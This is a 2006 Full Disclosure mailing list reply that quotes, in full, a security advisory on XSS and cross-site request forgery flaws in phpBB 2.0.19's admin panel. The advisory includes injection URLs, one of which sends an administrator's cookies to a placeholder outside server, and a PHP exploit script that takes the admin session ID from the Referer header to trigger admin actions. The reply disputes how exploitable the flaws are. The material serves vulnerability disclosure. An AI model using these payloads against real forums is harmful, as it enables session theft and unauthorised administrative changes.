Full Disclosure mailing list archives
RE: phpBB 2.0.19 Cross Site Request Forgeries and XSSAdmin
From: "Berliner" <berliner.does.not.mean.jelly.donut () googlemail com>
Date: Fri, 3 Feb 2006 14:50:00 +0100
1. Basically all phpBB admin-side options do allow full HTML, including javascript. That is the intended behaviour, as there are legitimate uses. phpBB does however check the Session ID before allowing the changes to go to the database. Your exploit needs a valid admin session key and you need to get the admin to visit the page (unless you happen to have a lot of luck with your IP)- be it by a link or a reflecting page. And even then, it will only work, when the admin has logged into the ACP prior to running into the trap. 2. That is a general problem with all pages allowing of-site pictures. It has been discussed on the list before. Most of your examples won't work with phpBB, due to the missing Session ID in the links.
-----Original Message----- From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure- bounces () lists grok org uk] On Behalf Of Maksymilian Arciemowicz Sent: Friday, February 03, 2006 2:04 PM To: full-disclosure () lists grok org uk Subject: [Full-disclosure] phpBB 2.0.19 Cross Site Request Forgeries and XSSAdmin Orginal Source: http://securityreason.com/achievement_securityalert/31 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [phpBB 2.0.19 Cross Site Request Forgeries and XSS Admin] Author: Maksymilian Arciemowicz (cXIb8O3) Date: 3.2.2006 from SecurityReason.Com CVE-2006-0437 for the XSS issues CVE-2006-0438 for the CSRF issues - --- 0.Description --- phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites. Contact with author http://www.phpbb.com/about.php. - --- 1. XSS admin --- In admin/admin_smilies.php you can create, modifcate smille. So nothing special but phpBB don't check what is going to db. case savenew - -448-473--- $smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ? $HTTP_POST_VARS['smile_code'] : $HTTP_GET_VARS['smile_code']; $smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ? $HTTP_POST_VARS['smile_url'] : $HTTP_GET_VARS['smile_url']; $smile_url = phpbb_ltrim(basename($smile_url), "'"); $smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ? $HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion']; $smile_code = trim($smile_code); $smile_url = trim($smile_url); $smile_emotion = trim($smile_emotion); // If no code was entered complain ... if ($smile_code == '' || $smile_url == '') { message_die(GENERAL_MESSAGE, $lang['Fields_empty']); } // // Convert < and > to proper htmlentities for parsing. // $smile_code = str_replace('<', '<', $smile_code); $smile_code = str_replace('>', '>', $smile_code); // // Save the data to the smiley table. // $sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon) VALUES ('" . str_replace("\'", "''", $smile_code) . "', '" . str_replace("\'", "''", $smile_url) . "', '" . str_replace("\'", "''", $smile_emotion) . "')"; $result = $db->sql_query($sql); - -448-473--- Only "<" and ">" are restricted. http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&sm ile_url=icon_mrgreen.gif&smile_emotion=c" onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&sm ile_url=icon_mrgreen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&s id=SIDofADMIN http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&sm ile_url=icon_mrgreen.gif"%20onmouseover="alert(document.location='http://[ SRVER]/cookies?'+document.cookie)"%20&sid=SIDofADMIN and you have new smile. Ofcourse you can better do exploit. For IE and etc. - --- 2. Cross Site Request Forgeries --- phpBB admin in Administration Panel have SID in url. Ok. Example if you want see user profil or split, lock someone post etc. Like: http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec5 05d0 http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec5900 fed3b35 etc. If this user have "Link to off-site Avatar" ON or is bbcode (IMG) ON then you can create url to script with referer for admin.So when admin open profil the url will be executed. Need be referer in request. Next problem is: 103# if ( !preg_match("#^((ht|f)tp://)([^ \?&=\#\"\n\r\t<]*?(\.(jpg|jpeg|gif| png))$)#is", $avatar_filename) ) in includes/unsercp_avatar.php. Why? Because this preg() don't have limit of chars. In mysql phpbb DB you have (*_users) user_avatar varchar(100) only 100 chars will go to db. So you can post url like http://[HOST]/[DIR]/script.php/[100 chars].jpg Sent: http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasons ecurityreasonsecurityreasonsecur.jpg and in db is: http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasons ecurityreasonsecurityreasonsecur or in bbcode (IMG) http://[HOST]/[DIR]/script.php/securityreason.jpg Nothing special.. Ok.. You need create new user (nick name can be "FUCKmeADMIN" etc). And upload one script. Doesn't need be in serverwhere is phpbb. - -script.php-- <?php # SecurityReason.Com writed by Maksymilian Arciemowicz # Example exploit $operation='http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile _code=try&smile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReaso n.Com)\'%20'; # http://[host]/admin/admin_smilies.php?mode=savenew&smile_code=a&smile_url= icon_mrgreen.gif" onmouseover='alert(document.cookie)' $sid=''; preg_match('#sid\=?([0-9a-z]*)#i', getenv('HTTP_REFERER'), $sid); if($sid[1]!=''){ header("Location: ".$operation."&sid=".$sid[1]); } ?> - -script.php-- In this script you need give someone operation. I think, can be: http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=try&sm ile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.Com)\'%20 create new smilie.. and all char a, change to image with javascript (XSS). http://[HOST]/[DIR]/admin/admin_smilies.php?mode=delete&id=63 Delete someone smile. http://[HOST]/[DIR]/admin/admin_words.php?mode=delete&id=1&sid=c1db64124b7 ced0668dec5900fed3b35 Delete word censor. http://[HOST]/[DIR]/admin/admin_forums.php?mode=forum_order&move=15&f=4 Change position of forum=4. http://[HOST]/[DIR]/admin/admin_ranks.php?mode=delete&id=4 Delete Rank Administration http://[HOST]/[DIR]/login.php?logout=true Logout etc.. If admin have in url SID and img tag is displaying that this script can get SID form HTTP_REFERER and redirect tooperation for admin (header("Location...")). Admin can't see result. This XSS in Point 1 can you used for this trick. Solution is don't displaying <IMG> tags from user where have you SID in url. And use POST to any operations like create, remove smilies etc. - --- 3. Greets --- sp3x - --- 4. Contact --- Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ] Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg SecurityReason.Com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (FreeBSD) iD8DBQFD41JC3Ke13X/fTO4RAhpsAJ46jnHCF0c9RROYPC1T88N9D/iOigCgwKUV 3YyVMR1NFsznOmjVpv6LVAc= =b2mM -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- No virus found in this incoming message. Checked by AVG Free Edition. Version: 7.1.375 / Virus Database: 267.15.0/248 - Release Date: 01.02.2006
-- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.375 / Virus Database: 267.15.0/248 - Release Date: 01.02.2006 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- phpBB 2.0.19 Cross Site Request Forgeries and XSS Admin Maksymilian Arciemowicz (Feb 03)
- RE: phpBB 2.0.19 Cross Site Request Forgeries and XSSAdmin Berliner (Feb 03)